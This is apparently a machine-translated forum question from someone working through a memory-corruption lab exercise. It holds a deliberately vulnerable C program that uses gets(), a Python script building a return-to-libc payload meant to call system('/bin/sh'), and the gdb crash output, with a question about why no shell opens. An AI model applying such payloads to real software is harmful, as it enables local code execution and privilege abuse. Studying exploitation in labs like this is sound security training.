Actualmente estoy intentando explotar un programa de ejemplo con un exploit de retorno a libc. El programa es este:
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];
/* reads a string, copies it to a global */
void copytoglobal()
{
char buffer[128] = {0};
gets(buffer);
memcpy(global_str, buffer, 128);
}
int main()
{
char buffer[128] = {0};
printf("I included libc for you...\n"\
"Can you ROP to system()?\n");
copytoglobal();
return EXIT_SUCCESS;
}
Así que usé gdb y obtuve la dirección de system ().
Luego creé una variable de entorno SHELL="/ bin / sh" que pude localizar usando gdb. (fue 0xffffdf91
, así que estoy usando 0xffffdf97
debido a la parte SHELL =)
Luego localicé donde estaba la dirección de retorno de copytoglobal, y pensé que era 156 bytes después del comienzo del búfer
Desde allí escribí este pequeño script en Python:
from __future__ import print_function
import sys
orig_stdout = sys.stdout
f = open('out.txt', 'w')
sys.stdout = f
print("A"*156, end='')
print("\xa0\x6f\xe2\xf7", end='') #system's adress read from p* system
print("ABCD", end='') #errasing return adress with garbage
print("\x97\xdf\xff\xff") #"/bin/sh"
sys.stdout = orig_stdout
f.close()
Cuando ejecuto esto en gdb con r < out.txt
obtengo esta salida:
'Programa recibido señal SIGSEV, fallo de segmentación.
0x44434241 en ?? () ̀
Parece que el programa intenta ejecutar el valor de ebp ficticio, lo que es realmente extraño, porque senté un punto de interrupción justo antes de la llamada ret
al final de copytoglobal y así es como se ve la pila:
0xffffdd1c: 0xf7e26fa0 #system() 0x44434241 #ABCD 0xffffdf97 #/bin/sh
Al usar un punto de interrupción al principio del sistema (), también puedo decir que el programa ingresa a la función sistema (), pero realmente no entiendo por qué no se abre una carcasa y se bloquea antes del final del sistema () (Intenté establecer un punto de interrupción justo antes de la llamada ret
al final de system () pero nunca se alcanzó)
Gracias de antemano